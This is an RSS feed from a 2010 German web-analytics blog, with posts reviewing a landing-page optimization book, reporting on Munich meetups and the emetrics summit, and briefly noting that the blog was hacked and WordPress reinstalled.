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	<title>Virtual Commerce</title>
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	<description>Alles mögliche über e-Business, Webanalytics, Web 2.0 und Social Media.</description>
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		<title>Mein Blog wurde gehacked</title>
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		<pubDate>Thu, 01 Jul 2010 04:24:43 +0000</pubDate>
		<dc:creator>Thomas</dc:creator>
				<category><![CDATA[Blogging]]></category>

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		<description><![CDATA[Es scheint so, als ob mein Blog gehacked wurde. Jedenfalls habe ich einen entsprechenden Warnhinweis meines Browsers erhalten. Ich habe die gesamte WordPress-Installation jedenfalls neu aufgesetzt und habe damit endlich auch die aktuellste (und damit sicherste) Version am Laufen. Nur &#8230; <a href="http://www.virtual-commerce.de/2010/07/mein-blog-wurde-gehacked.html">Weiterlesen <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Es scheint so, als ob mein Blog gehacked wurde. Jedenfalls habe ich einen entsprechenden Warnhinweis meines Browsers erhalten.</p>
<p>Ich habe die gesamte WordPress-Installation jedenfalls neu aufgesetzt und habe damit endlich auch die aktuellste (und damit sicherste) Version am Laufen. Nur leider ist das Layout noch nicht wieder herstellt und die Artikel haben leider auch etwas abbekommen. Das bekomme ich aber auch wieder hin, dauert nur ein wenig.</p>
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		<title>Kürzlich gelesen:Landingpage Optimization von Tim Ash (deutsche Ausgabe)</title>
		<link>http://www.virtual-commerce.de/2010/06/kurzlich-gelesen-landingpage-optimization-von-tim-ash-deutsche-ausgabe.html</link>
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		<pubDate>Thu, 24 Jun 2010 06:10:36 +0000</pubDate>
		<dc:creator>Thomas</dc:creator>
				<category><![CDATA[Onlinemarketing]]></category>

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		<description><![CDATA[Das Buch Landingpage Optimization (deutscher Titel &#8220;Landing Pages: Landing Pages, Optimierung, Testen, Conversions generieren&#8221;, Ausgabe 2009) habe ich unter etwas falschen Voraussetzungen zu lesen begonnen: eigentlich hatte ich mir nur ein paar schnelle und einfach umzusetzende Tipps zur Gestaltung einiger &#8230; <a href="http://www.virtual-commerce.de/2010/06/kurzlich-gelesen-landingpage-optimization-von-tim-ash-deutsche-ausgabe.html">Weiterlesen <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Das Buch <a href="http://www.landingpageoptimizationbook.com">Landingpage Optimization</a> (deutscher Titel &#8220;Landing Pages: Landing Pages, Optimierung, Testen, Conversions generieren&#8221;, Ausgabe 2009) habe ich unter etwas falschen Voraussetzungen zu lesen begonnen: eigentlich hatte ich mir nur ein paar schnelle und einfach umzusetzende Tipps zur Gestaltung einiger Landingpages erhofft. Dass das Buch dieses Bedürfnis nicht bedient, hätte ich mir eigentlich denken können, denn dafür war es eindeutig zu umfangreich.</p>
<p>Das größte Missverständnis meinerseits war, dass Tim Ash eigentlich jede Seite einer Webseite als Landingpage betrachtet. Jede Seite verfolgt ein Ziel und soll den Benutzer dazu bringen, dieses Ziel zu erfüllen. Tim Ash holt dazu sehr weit aus und geht erst einmal auf die Grundprinzipien der Gestaltung und BenutzerfÃ¼hrung (Usability) von Webseiten ein. Er streift dabei allerlei Themen wie <strong>Suchmaschinenoptimierung (SEO), Suchmaschinenmarketing (SEM), Affiliate- und Emailmarketin</strong>g. Während die letzten drei Marketingformen immer auf eigens dafür erstellte Landingpages fÃ¼hren sollten und auch eine konkrete Aktion unterstÃ¼tzen sollten, fÃ¼hrt die Suchmaschinenoptimierung dazu, dass so gut wie jede Seite einer Webseite als Landingpage funktioniert. Stellenweise erklÃ¤rt er extrem ausfÃ¼hrlich und beschreibt seitenlang z.B. die SaisonabhÃ¤ngigkeit von einzelnen Marketingaktionen (z.B. anhand eines Online-Versand fÃ¼r Blumen und den Einfluss, den der Valentinstag fÃ¼r die Webseite hat). Den Teil des Buches hÃ¤tte er deutlich schlanker halten kÃ¶nnen.</p>
<p>Mit diesen Grundlagen geht es aber schnell ans Eingemachte. Es folgen die Definitionen fÃ¼r Begriffe <em>Life Time Value</em> (LTV), <em>Conversion Improvement Percentage</em> (CIP) oder die Einteilung von Zielgruppen nach unterschiedlichen Modellen. Er beschreibt den Ablauf eines Entscheidungsprozesses nach <strong>dem altbewÃ¤hrten AIDA-Modell</strong> (A = <em>Attention</em>, I = <em>Interest</em>, D = <em>Desire</em>, A = <em>Action</em>, ergÃ¤nzt durch eine weitere Phase S = <em>Satisfaction</em>, die zur Bindung eines Kunden fÃ¼hren soll).</p>
<p>Als nÃ¤chstes schlÃ¤gt er vor, die eigene Webseite sehr kritisch und sehr negativ zu betrachten um zu erkennen, an welchen Stellen die Webseite den oben genannten Entscheidungsprozess nicht optimal unterstÃ¼tzt. Diese kritischen Einzelschritte bieten dann einen Ansatzpunkt zur Optimierung und weisen auf verbesserungswÃ¼rdige Elemente in der Webseite hin. Ab diesem Punkt wird das Buch recht schwer verdaulich und ist alles andere als leichte LektÃ¼re. Einem Ãœberflug Ã¼ber Grundlagen der Statistik (sollte man sich auch mal ernsthafter mit beschÃ¤ftigen) folgen <strong>ausfÃ¼hrliche Beschreibungen der Methoden A/B Splittests und Multivariates Testing</strong>. Hier geht es schon sehr in die Tiefe und ich hÃ¤tte mir zur Veranschaulichung ein konkretes Fallbeispiel gewÃ¼nscht. Ein wichtiger Hinweis zum Beispiel: A/B-Splittests und Multivariates Testing stehen nicht in Konkurrenz zueinander, sondern kommen in AbhÃ¤ngigkeit der tatsÃ¤chlich stattfindenden Konversionen zum Einsatz. Wegen der geringen Fallzahlen kommt bei wenigen Konversionen pro Tag nur der A/B Splittest in Frage. Bei diesem Test treten 2 mehr oder weniger unterschiedliche Varianten einer Landingpage gegeneinander an. Erst bei einer (sehr) hohen Zahl von Konversionen pro Zeit macht Multivariates Testing Sinn. Dieser Test prÃ¼ft mehrere Varianten einer Seite ab, die sich in mehreren Elementen unterscheiden kÃ¶nnen und damit eine sehr hohe Zahl an KombinationsmÃ¶glichkeiten ergeben.</p>
<p>Webseitenoptimierungen sind keine kleinen Projekte und bedÃ¼rfen der Einbindung vieler beteiligter Abteilungen innerhalb einer Firma. Tim Ash widmet seinen Erfahrungen aus zahlreichen Kundenprojekten ein eigenes Kapital. Viele dieser Erfahrungen sind sehr erstaunlich, decken sich aber vollstÃ¤ndig mit dem, was ich in meinem Arbeitsalltag erlebe. Ich musste recht schmunzeln als ich den Teil Ã¼ber interne IT-Abteilungen las. <strong>Die Blockadehaltung der internen IT scheint ein allgemein zu beobachtendes Verhaltensmuster in Firmen zu sein</strong> und nicht nur eine persÃ¶nliche Erfahrung meinerseits.</p>
<p>Das Buch hat nicht alle meine Fragen beantwortet, einiges bedarf noch einer spÃ¤teren Vertiefung. Andererseits schafft es Ash ohne Probleme Begeisterung fÃ¼r das Thema zu wecken und man erahnt das Potenzial, welches in einer <strong>kontinuirlichen Verbesserung einer Webseite</strong> liegen kann. Ich werde sicherlich noch Ã¶fter in dem Buch das ein oder andere nachschlagen. Also, wer ein paar schnelle Tipps zur Verbesserung seiner Landingpages sucht, ist mit diesem Buch sicherlich nicht gut beraten, wer allerdings einen grundlegeneden Einstieg in die gesamte Thematik der Optimierung von Webseite sucht, dem sei die LektÃ¼re empfohlen.</p>
<p>Weitere Infos zum Buch gibt es direkt bei Tim Ash auf seiner offiziellen Webseite zum Buch unter <a href="http://www.landingpageoptimizationbook.com">www.landingpageoptimizationbook.com</a> (englisch).</p>
<p><!--d2706329952e1c84f5dad1eefa50edc322010--><br />
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		<title>Online</title>
		<link>http://www.virtual-commerce.de/2010/06/online-stammtisch-munchen-im-p1.html</link>
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		<pubDate>Wed, 23 Jun 2010 06:15:55 +0000</pubDate>
		<dc:creator>Thomas</dc:creator>
				<category><![CDATA[Medien]]></category>

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		<description><![CDATA[Gestern fand in MÃ¼nchen im P1 der &#8220;erste&#8221; Online Stammtisch MÃ¼nchen (OSM) statt. Der Veranstalter des Events war fÃ¼r mich nicht so ganz ersichtlich, irgendwie hÃ¤ngt da wohl das Branchenblatt INTERNET WORLD BUSINESS mit drin. Mit rund 400 angemeldeten Teilnehmern &#8230; <a href="http://www.virtual-commerce.de/2010/06/online-stammtisch-munchen-im-p1.html">Weiterlesen <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Gestern fand in MÃ¼nchen im <a href="http://www.p1-club.de/">P1</a> der &#8220;erste&#8221; Online Stammtisch MÃ¼nchen (OSM) statt. Der Veranstalter des Events war fÃ¼r mich nicht so ganz ersichtlich, irgendwie hÃ¤ngt da wohl das Branchenblatt <a href="http://www.internetworld.de/">INTERNET WORLD BUSINESS</a> mit drin.</p>
<p>Mit rund 400 angemeldeten Teilnehmern hatte ich schon befÃ¼rchtet, dass das eine recht anonyme Veranstaltung wird. So war es dann auch, recht viel junges Agenturvolk, das wahrscheinlich auch ohne diesen vorgegebenen Rahmen den Abend im P1 verbracht hÃ¤tte. Ansonsten weiÃŸ ich nicht, auf wie vielen Bildschirmen FuÃŸball zu sehen war.</p>
<p>Rahmenprogramm gab es keines auch sonst war inhaltlich nichts vorgeben, das Networking blieb jedem selbst Ã¼berlassen. So ganz war die Veranstaltung also nicht mein Ding. Einen groÃŸen Vorteil hatte das Event fÃ¼r mich trotzdem: Mit der Einladung kam auch ich am TÃ¼rsteher vom P1 vorbei <img src='http://www.virtual-commerce.de/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<p>Ein paar fotografische EindrÃ¼cke der Veranstaltung finden sich in der Bildergalerie der INTERNET WORLD unter:<br />
<a href="http://www.internetworld.de/Bildergalerien/Events/Online-Stammtisch-Muenchen-Netzwerken-im-P1">http://www.internetworld.de/Bildergalerien/Events/Online-Stammtisch-Muenchen-Netzwerken-im-P1</a></p>
<p>Auf <a href="http://www.internetworld.de/Bildergalerien/Events/Online-Stammtisch-Muenchen-Netzwerken-im-P1/%28offset%29/12">Bild 13</a> bin sogar ich mit einigen Kollegen verewigt.</p>
<p><span id="more-792"></span><!--5de3590a130faa8d1acd3a05edc65cf822010--><br />
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		</item>
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		<title>RÃ¼ckblick</title>
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		<pubDate>Tue, 01 Jun 2010 19:42:48 +0000</pubDate>
		<dc:creator>Thomas</dc:creator>
				<category><![CDATA[SEO]]></category>

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		<description><![CDATA[Gestern, am 31. Mai 2010 fand im MÃ¼nchen das zweite Treffen von Webanalysten statt. Wir trafen uns im Restaurant Ludwigs, ein recht angenehmes und gemÃ¼tliches Lokal direkt am Viktualienmarkt gelegen. Zu Beginn gab es von mir erst ein paar Informationen &#8230; <a href="http://www.virtual-commerce.de/2010/06/ruckblick-auf-den-webanalytics-association-late-afternoon-waala-am-31-mai-2010-in-munchen.html">Weiterlesen <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Gestern, am 31. Mai 2010 fand im MÃ¼nchen das <strong>zweite Treffen von Webanalysten</strong> statt. Wir trafen uns im <a href="http://www.restaurant-ludwigs.de">Restaurant Ludwigs</a>, ein recht angenehmes und gemÃ¼tliches Lokal direkt am Viktualienmarkt gelegen. Zu Beginn gab es von mir erst ein paar Informationen Ã¼ber die aktuelle Arbeit des <em>Boards</em> der <em>Country Group Germany</em> der <a href="http://www.webanalyticsassociation.org/">Webanalytics Association</a> (WAA). Die WAA ist der internationale Berufsverband der Webanalysten. Es folgten zwei VortrÃ¤ge.</p>
<p>[img:4660396791,600]<br />
Zum einen berichtete Veith SchÃ¶rgenhummer von der Agentur <a href="http://www.k60.com/">K60</a> Ã¼ber seine Erfahrungen mit <strong>Webanalyse bei mittelstÃ¤ndischen Unternehmen</strong>. Den Vortrag gibt es frei verfÃ¼gbar zum Download unter <a href="http://bit.ly/aNF4gw">http://bit.ly/aNF4gw</a>.</p>
<p>[img:4660396805,402]<br />
Im Anschluss daran hielt Adrien GÃ¼nther von der Firma <a href="http://de.atinternet.com/">AT Internet</a> seinen sehr detaillierten Vortrag Ã¼ber die MÃ¶glichkeiten des <strong>Controllings von Suchmaschinenoptimierung</strong> mit Hilfe der Webanalyse. AT Internet ist Ã¼brigens ein aus Frankreich stammender Anbieter von WebanalyseTools.</p>
<p>[img:4660396803,600]<br />
Den VortrÃ¤gen folgten intensive Diskussionen an den Tischen. Von den ursprÃ¼nglich 30 angemeldeten Interessenten kamen Ã¼brigens 26 zur Veranstaltung.</p>
<p>Den nÃ¤chsten Webanalytics Association Late Afternoon (WAALA) &#8211; den viele auch unter dem Namen Webanalytics Wednesday kennen &#8211; organisiere ich voraussichtlich im September / Oktober 2010. Interessenten kÃ¶nnen sich gerne bei mir melden, ich verschicke vor dem Termin dann eine Einladung. Die Teilnahme an der Veranstaltung ist Ã¼brigens kostenfrei und verpflichtet zu nichts. Es geht vor allem um den Austausch unter Kollegen, egal ob Toolanbieter, Agenturvertreter oder Anwender.</p>
<p>Mein Profil bei Xing: <a href="https://www.xing.com/profile/Thomas_Schmidt103">https://www.xing.com/profile/Thomas_Schmidt103</a></p>
<p>An dieser Stelle noch einmal einen Dank an das nette Team des Ludwigs, dass uns fÃ¼r die Veranstaltung den Gastraum des Lokals zur VerfÃ¼gung stellte!</p>
<p><span id="more-782"></span><!--f723162940dadd97939cb6c3b920fe3f22010--><br />
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		</item>
		<item>
		<title>Die</title>
		<link>http://www.virtual-commerce.de/2010/03/die-highlights-des-emetrics-summit-2010-tag-2.html</link>
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		<pubDate>Tue, 30 Mar 2010 18:14:31 +0000</pubDate>
		<dc:creator>Thomas</dc:creator>
				<category><![CDATA[Onlinemarketing]]></category>

		<guid isPermaLink="false">http://www.virtual-commerce.de/2010/03/die-highlights-des-emetrics-summit-2010-tag-2.html</guid>
		<description><![CDATA[Der zweite Tag des emetrics summit war noch mehr durch AnwendervortrÃ¤ge geprÃ¤gt als der erste. Der Vortrag der MLP Finanzdienstleistungen AG fiel wegen Krankheit des Referenten leider aus, aber es waren immer noch sehr interessante Firmen am Start. GrÃ¶ÃŸtenteils Vertreter &#8230; <a href="http://www.virtual-commerce.de/2010/03/die-highlights-des-emetrics-summit-2010-tag-2.html">Weiterlesen <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Der zweite Tag des <a href="http://www.emetricssummit.de/">emetrics summit</a> war noch mehr durch AnwendervortrÃ¤ge geprÃ¤gt als der erste. Der Vortrag der <a href="http://www.mlp.de/">MLP Finanzdienstleistungen AG</a> fiel wegen Krankheit des Referenten leider aus, aber es waren immer noch sehr interessante Firmen am Start.  GrÃ¶ÃŸtenteils Vertreter der <em>Old Economy</em>. FÃ¼r mich bleibt es immer wieder spannend, wie traditionelle Firmen den <em>Shift</em> in das Internetzeitalter vollziehen und auf welche Probleme sie dabei stoÃŸen. Der erste Vortrag wurde allerdings von einem Vertreter der <em>New Economy</em> bestritten:</p>
<ul>
<li>Sehr selbstkritisch ist <a href="http://www.mydays.de/">mydays</a>, ein Anbieter (besser Vermittler) von auÃŸergewÃ¶hnlichen Events, an die Optimierung seiner Webseite herangegangen. Die Erkenntnisse waren enorm. Ein guter Teil des GeschÃ¤fts lÃ¤uft Ã¼ber Gutscheine, die verschenkt und spÃ¤ter eingelÃ¶st werden. Gab es bei der Auswahl des Angebots kaum Probleme, schien es mit dem EinlÃ¶sen einige Schwierigkeiten zu geben. Der Grund? Die Zielgruppen waren zum Teil sehr verschieden. Die Gutscheine werden zwar oft von JÃ¼ngeren gekauft, diese schenken sie aber ihren Eltern oder GroÃŸeltern. Und die scheitern dann beim EinlÃ¶sen des Angebots. Also zwei Zielgruppen mit vÃ¶llig unterschiedlichem Nutzerverhalten auf der Webseite. Wichtig ist zudem die QualitÃ¤t und ZuverlÃ¤ssigkeit der Veranstalter der eigentlichen Events. Jedenfalls konnte mydays die Nutzerzufriedenheit beim EinlÃ¶sen der Gutscheine deutlich verbessern.
</li>
<li>Zweiter Punkt der Agenda war eine Diskussion zwischen Ossi Urchs, dem Moderator der emetrics, und Patrick Palombo, Berater im Bereich e-Commerce und Versandhandel. Es ging um die Frage, <strong>ob der klassische Versandhandel in Deutschland die aktuellen Entwicklungen der Sozialen Medien verschlÃ¤ft</strong>. Nach der Pleite des Traditionsunternehmens Quelle vor einigen Monaten eine berechtigte Frage. Patrick Palombo kritisierte an den Unternehmen, dass sie oft erst auf Druck von auÃŸen reagieren. <strong>Von einer durch Innovation geprÃ¤gten Kultur keine Spur</strong>. Eine Beobachtung, die ich in meinem eigenen Umfeld auch immer wieder mache.
</li>
<li>Der zweite Anwendervortrag des Tages beschÃ¤ftigte sich mit dem Tool, dass in der Webanalyse vermutlich am hÃ¤ufigsten eingesetzt wird: das Tabellenkalkulationsprogramm Excel von <a href="http://www.microsoft.de">Microsoft</a>. Wie bringt man nun aber Daten aus diversen Webanalysetools und aus mehreren Exceldateien zusammen und kann sie dann auch noch in Ã¼bersichtlichen <em>Dashboards</em> darstellen? Die Antwort lautet <a href="http://www.palo.net/de/">Palo</a>. Palo ist eine OLAP-Datenbank die als <em>Opensource</em>-Projekt der Firma <a href="http://www.jedox.com/de/home/uebersicht.html">Jedox AG</a> frei verfÃ¼gbar ist. Dank Palo kÃ¶nnen Daten aus unterschiedlichsten Quellen zusammengefÃ¼hrt werden. Durch eine Integration in Excel (wie ich gesehen habe, wird die Tabellenkalkulation von <a href="http://de.openoffice.org/">OpenOffice</a> auch unterstÃ¼tzt) kÃ¶nnen diese Daten wie gewohnt in Excel weiterverarbeitet und dargestellt werden. Das gesamte Einsatzgebiet von Palo habe ich aufgrund des Vortrags noch nicht erfasst, ich werde mich aber noch eingehender damit beschÃ¤ftigen. Vor allem erscheint die ZusammenfÃ¼hrung der Webanalysedaten mit weiteren Daten aus anderen Unternehmensbereichen mÃ¶glich und bietet die Chance auf sehr viel weitreichendere Analysen als diese alleine mit der Webanalyse mÃ¶glich sind.
</li>
<li>Spannende Einsichten in seine Webanalyse gewÃ¤hrte auch der hollÃ¤ndische Konzern <a href="http://www.philips.de/">Philips International BV</a>. Ein Team von fast 10 Webanalysten versorgt die Fachbereiche der Firma mit allen erdenklichen Zahlen, Daten, Fakten und Auswertungen. Dabei ist das Webanalyse-Team zwar eine Abteilung, die einzelnen Mitglieder sitzen aber verteilt in mehreren LÃ¤ndern. Mich hat erstaunt, welchen Stellenwert das Internet und auch die Webanalyse in diesem Unternehmen hat. Philips ist definitiv im Internetzeitalter angekommen.
</li>
<li>Zentrales Element der emetrics ist eine Diskussionsrunde der Teilnehmer untereinander. In mehreren Gruppen sollte diskutiert werden, wo sich die Teilnehmer mit ihren Firmen im <strong>Reifegradmodell</strong> einstufen. In meinem <a href="http://www.virtual-commerce.de/2010/03/nachgeliefert-die-highlights-des-emetrics-summit-2010-tag-1.html">Post Ã¼ber den ersten Tag</a> hatte ich ja schon angedeutet, dass sich diese Fragen den wenigsten Teilnehmern stellt, denn alle waren sich einig, dass sie sich in der ersten Stufe, dem <em>Reporting</em> befinden. Interessant war, dass es kaum Unterschiede zwischen Traditionsunternehmen und Internet-Firmen &#8211; der Old und New Economy &#8211; gab. Mal sehen, wie sich diese Thema Ã¼ber die nÃ¤chsten Jahre weiterentwickelt.
</li>
<li>Mit welchen Problemen Unternehmen im e-Commerce zu kÃ¤mpfen haben zeigte sich bei der <a href="http://www.dp-dhl.com/de">Deutschen Post DHL</a>. Die Konsolidierung aller e-Commerce-AktivitÃ¤ten in einem solchen groÃŸen Konzern, in dem fast jeder GeschÃ¤ftsbereich im Internet aktiv ist, stellt eine kaum zu lÃ¶sende Aufgabe dar. Das geht nur mit entsprechender UnterstÃ¼tzung aus dem oberen Management. Dabei liefert die Webanalyse die notwendigen Zahlen fÃ¼r die Argumentation. Ã„hnliche Probleme &#8211; allerdings in deutlich kleinerer Dimension &#8211; kenne ich aus meiner eigenen TÃ¤tigkeit. Die Probleme in Unternehmen scheinen Ã¼berall sehr Ã¤hnlich zu sein, unabhÃ¤ngig von der Branche.
</li>
<li>Alle reden vom <strong>Marketing in Sozialen Medien</strong>, aber kaum keiner hat&#8217;s bisher (erfolgreich) gemacht. Doch, das TourismusbÃ¼ro von <a href="http://www.oberstaufen.de/">Oberstaufen im AllgÃ¤u</a>. Die haben nicht nur Ihre Facebook Fanpage und ihren Twitterkanal, sondern sie bÃ¼ndeln diese einzelnen KanÃ¤le ergÃ¤nzt durch Youtube (Videos) und Flickr (Photos) in einer fantastischen Mashup-Anwendung. Zu erreichen unter <a href="http://www.oberstaufen-plus.de/">www.oberstaufen-plus.de</a>. Die Inhalte kommen also nicht nur vom TourismusbÃ¼ro selbst, sondern von Nutzern, die per tagging ihre Inhalte den einzelnen <em>streams</em> innerhalb der einzelnen Plattformen zuordnen. Und damit nicht nur die Marketingfachleute begeistert sind, sondern auch die lokalen Hoteliers, ist das zentrale Buchungstool Ã¼berall gut zu finden und zu erreichen. Inklusive einer Integration in Facebook. Unbedingt einmal anschauen.
</li>
</ul>
<p>Sollte sich jemand wundern, warum ich hier so ausfÃ¼hrlich Ã¼ber die Konferenz berichte, es sind meine eigenen Aufzeichnungen, die ich nach der Veranstaltung einfach nochmal durchgehe. Um in der Konferenzsprache zu bleiben: so rette ich <strong>die <em>Learnings</em> und <em>Insights</em> in meinen Arbeitsalltag</strong> hinÃ¼ber. Und warum nicht ganz im Sinne der Sozialen Medien diese etwas aufgehÃ¼bscht Ã¼ber meinen Blog der Allgemeinheit zur VerfÃ¼gung stellen.</p>
<p>Wer sich dagegen eingehender mit Webanalyse beschÃ¤ftigen mÃ¶chte hat Ã¼brigens auch ohne emetrics die Gelegenheit dazu. Einmal  gibt es den Berufsverband der Webanalysten, die <a href="http://www.webanalyticsassociation.org/">Webanalytics Association</a>. Zum anderen finden in immer mehr deutschen StÃ¤dte sogenannte <em>Webanalytics Wednesdays</em> statt (mir sind Hamburg, Berlin und MÃ¼nchen bekannt). Wer Fragen dazu hat, kann sich gerne bei mir melden.</p>
<p>So, jetzt reicht&#8217;s aber auch!</p>
<p><span id="more-772"></span><!--32e0a01fe23724143ea23742125a586a22010--><br />
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		<title>Nachgeliefert:</title>
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		<pubDate>Mon, 29 Mar 2010 19:15:11 +0000</pubDate>
		<dc:creator>Thomas</dc:creator>
				<category><![CDATA[Onlinemarketing]]></category>

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		<description><![CDATA[In meinem letzten Post mit den ersten EindrÃ¼cken zum diesjÃ¤hrigen emetrics summit hatte ich versprochen, einzelne Highlights der beiden Konferenztage in MÃ¼nchen nachzuliefern. Also los: Als einer der GrÃ¼nder der Webanalytics Association und ursprÃ¼nglicher Initiator des emetrics summits (die Ã¼brigens &#8230; <a href="http://www.virtual-commerce.de/2010/03/nachgeliefert-die-highlights-des-emetrics-summit-2010-tag-1.html">Weiterlesen <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>In meinem <a href="http://www.virtual-commerce.de/2010/03/erstes-feedback-zum-emetrics-summit-2010-in-munchen.html">letzten Post mit den ersten EindrÃ¼cken zum diesjÃ¤hrigen emetrics summit</a> hatte ich versprochen, einzelne Highlights der beiden Konferenztage in MÃ¼nchen nachzuliefern. Also los:</p>
<ul>
<li>Als einer der GrÃ¼nder der <a href="http://www.webanalyticsassociation.org/">Webanalytics Association</a> und ursprÃ¼nglicher Initiator des <a href="http://www.emetrics-summit.de/">emetrics summits</a> (die Ã¼brigens weltweit stattfinden), hielt <a href="http://www.targeting.com/">Jim Sterne</a> die Keynote. Reduziert man seinen Vortrag auf wenige SÃ¤tze zeichnen sich zwei Entwicklungen in der Webanalyse ab. Zum Einen nimmt das Social Media Monitoring, also das Nachverfolgen von Reaktionen seitens der Nutzern auf den verschiedensten Plattformen zu einem Unternehmen, einen immer grÃ¶ÃŸeren Bereich ein. Das andere Thema ist die <strong>EinfÃ¼hrung eines sogenannten Reifegradmodells (<em>Maturity Model</em>) in der Webanalyse</strong>. Es soll Hilfestellung geben, das eigene Unternehmen in Bezug auf den Einsatz von Webanalyse zu positionieren. Die Reifegrade sind in vier Stufen eingeteilt, die niedrigste Stufe ist das reine Reporting, die nÃ¤chste Stufe wÃ¤re der Ãœbergang zur Analyse und die hÃ¶chste Stufe, das Nirwana sozusagen, bedeutet, Erkenntnisse aus der Webanalyse in die strategische Ausrichtung des Unternehemens einflieÃŸen zu lassen. Vorgreifend auf die User-Diskussion vom Folgetag mÃ¶chte ich einwerfen, dass die meisten Vertreter von Unternehemen der <em>Old Economy</em> sich selbst bei Stufe 1, also dem Reporting, eingestuft haben. An dieser Stelle mÃ¶cht ich die Frage einwerfen, ob daher zum jetzigen Zeitpunkt die EinfÃ¼hrung eines Reifegradmodells Ã¼berhaupt Sinn macht, wenn die meisten Firmen in Deutschland noch mit den <em>Basics</em> kÃ¤mpfen. Der amerikanische, und wahrscheinlich auch der asiatische Markt dÃ¼rfte da bereits um LÃ¤ngen voraus sein (wie sieht es eigentlich in anderen europÃ¤ischen LÃ¤ndern aus?).
<p>Als Tipp der Hinweis, dass es zum Thema des Reifegradmodells in der Webanalyse eine interessante Arbeit von Stephane Hamel gibt, die frei zum Download Ã¼ber <a href="http://immeria.net">immeria.net</a> angeboten wird (in englisch).
</li>
<li>Im zweiten Vortrag ging es um den Einsatz von <strong>Multivariatem Testing zur Optimierung von Konversionen</strong> bei dem Dating-Portal <a href="http://www.friendscout24.de/">friendscout24</a>. Es war sehr zu begrÃ¼ÃŸen, dass sich der Begriff Konversion nicht mehr nur auf den reinen Abverkauf in Onlineshops konzentrierte, sondern jede Form von gewÃ¼nschter Interaktion zwischen Nutzern und einer Webseite berÃ¼cksichtigt. Im Fall einer Dating-Plattform ist das zum Beispiel die Anzahl der Neuregistrierungen Ã¼ber entsprechende Landingpages.
<p>Der Einsatz von <strong>Multivariatem Testing (MVT)</strong> setzt meines Erachtens aber zwei Dinge vorraus: einmal eine weitestgehend <strong>durch AB-Testing optimierte und in ihren Grundelementen verifizierten Landingpages</strong>. Zweitens genÃ¼gend Traffic, um bei verschiedenen Varianten einer Landingpage Ã¼berhaupt noch statistisch saubere Aussagen zu bekommen. Mehr dazu spÃ¤ter im &#8230;
</li>
<li>&#8230; Workshop zur Optimierung von Landingpages mit <a href="http://www.timoaden.de/">Timo Aden</a>. Timo Aden ist Autor des Buches Google Analytics sowie gemeinsam mit Patrick Ludolph Host des <a href="http://mole2.de/">Webanalytics Podcasts Mole2</a>. Ergebnis des Workshops fÃ¼r mich war, dass man bezÃ¼glich einer guten, also konvertierenden Landingpages Ã¼berhaupt keine Aussage machen kann. Was funktioniert und was nicht hÃ¤ngt zu stark von den  EinflÃ¼ssen der Branche oder der Produkte ab. Es bleibt nichts weiter, <strong>als selbst auszuprobieren und zu testen</strong>. Dabei bietet sich der Einsatz von AB-Tests an, um die Hauptrichtung der Landingpage zu bestimmen. Multivariates Testing (MVT) sollte erst fÃ¼r das Feintuning zum Einsatz kommen. Ein guter Tipp war, sich <strong>eine Landingpage-Galerie seiner Mitbewerber anzulegen</strong> und diese auch permanent zu pflegen. So bekommt man einerseits sehr gute EindrÃ¼cke davon, wie die verschiedenen Landingpages aussehen (Ideenfindung) und andererseits sieht man sofort, wer von seinen Konkurrenten an seinen Landingpages arbeitet und diese optimiert.</li>
<li>Der Nachmittag begann mit einer Paneldiskussion zum<strong> brisanten Thema Webanalyse und Datenschutz</strong>. Der Bundesbeauftragte Peter Schaar (Autor des Buches: Das Ende der PrivatsphÃ¤re) diskutierte mit Thomas Duhr, Vice Chairman IAB (<em><a href="http://www.iab.net/">Interactive Advertising Bureau</a></em>) und Leiter des Arbeitskreises Targeting des BVDW (<a href="http://www.bvdw.org/">Bundesverband Digitale Wirtschaft</a>). Ehrlicherweise machte Herr Schaar mit seiner Position eine deutlich bessere Figur als Herr Duhr, denn der flabsigen Aussage Duhr&#8217;s, dass die Leute gegenÃ¼ber Firmen ruhig ein wenig offener sein sollten, denn sie bekÃ¤men dafÃ¼r ja auch etwas (was?) zurÃ¼ck, kann ich nicht so ganz folgen. <strong>Man ist ja nicht nur Webanalyst, sondern selbst auch Kunde</strong>. Den Anspruch nach einem fÃ¼r jeden Kunden nachvollziehbaren Umgang mit seinen Daten finde ich vÃ¶llig gerechtfertigt. Die Webanalyse-Branche muss da meines Erachtens eine <strong>deutlich professionellere Position</strong> einnehmen. Das Gejammer Ã¼ber den <strong>Datenschutz als Spielverderber</strong> hilft nicht weiter. Da hat Herr Schaar einfach recht.</li>
<li>Die Diskussion zum Thema <em>Social Media Controlling</em> war etwas farblos. Es war zwar ganz lustig, wie eine Firma wie <a href="http://www.beate-uhse.com/">Beate Uhse</a> in Sozialen Medien aktiv werden kann (kÃ¶nnte), wenn sie wegen AltersbeschrÃ¤nkungen auf den spannendsten Plattformen nicht prÃ¤sent sein darf. Klassenprimus ist und bleibt einfach BMW mit seinem hervorragenden <a href="http://www.bmw.de/de/de/insights/news/current/content.html?go2=http://bmw.tv/de/">Videokanal BMW TV</a>, so transportiert man Emotionen! Aber so richtig sind bei mir keine Highlights oder Aussagen hÃ¤ngen geblieben.
</li>
<li>Als letzte Veranstaltung besuchte ich den Vortrag zur <strong>Gestaltung von Datenreports</strong>. Ein groÃŸes Problem (auch fÃ¼r mich) ist die Darstellung der Ergebnisse aus den Webanalysetools fÃ¼r die unterschiedlichen Zielgruppen. Man ist zu sehr Teil seiner datenzentrierten Welt und tut sich oft schwer, die Ergebnisse seinen Kollegen aus Marketing, Vertrieb oder anderen Fachabteilungen in einer ansprechenden und verstÃ¤ndlichen Form mitzuteilen. FÃ¼r mich Teil des Ãœbergangs vom reinen Reporting zur echten Analyse.
</li>
<li>Den Abschluss des ersten Tages (fÃ¼r mich) bildet einer der SponsorenprÃ¤sentationen, in diesem Fall durch Google Analytics. Im Vortrag wurden die neusten Features vorgestellt, fÃ¼r mich aber weniger relevant. Google Analytics als kostenfreies und gern genutztes Webanalysetool war Ã¼brigens sehr prÃ¤sent auf der emetrics.
</li>
